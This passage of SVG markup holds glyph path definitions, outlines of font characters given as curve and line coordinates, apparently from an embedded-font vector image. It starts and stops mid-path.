4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="e"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="g"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="h"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="i"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="j"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="E"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="L"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="M"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="N"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="O"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="P"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="Q"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="R"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="S"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="T"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="k"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="l"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="m"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="n"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="p"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="q"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="r"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 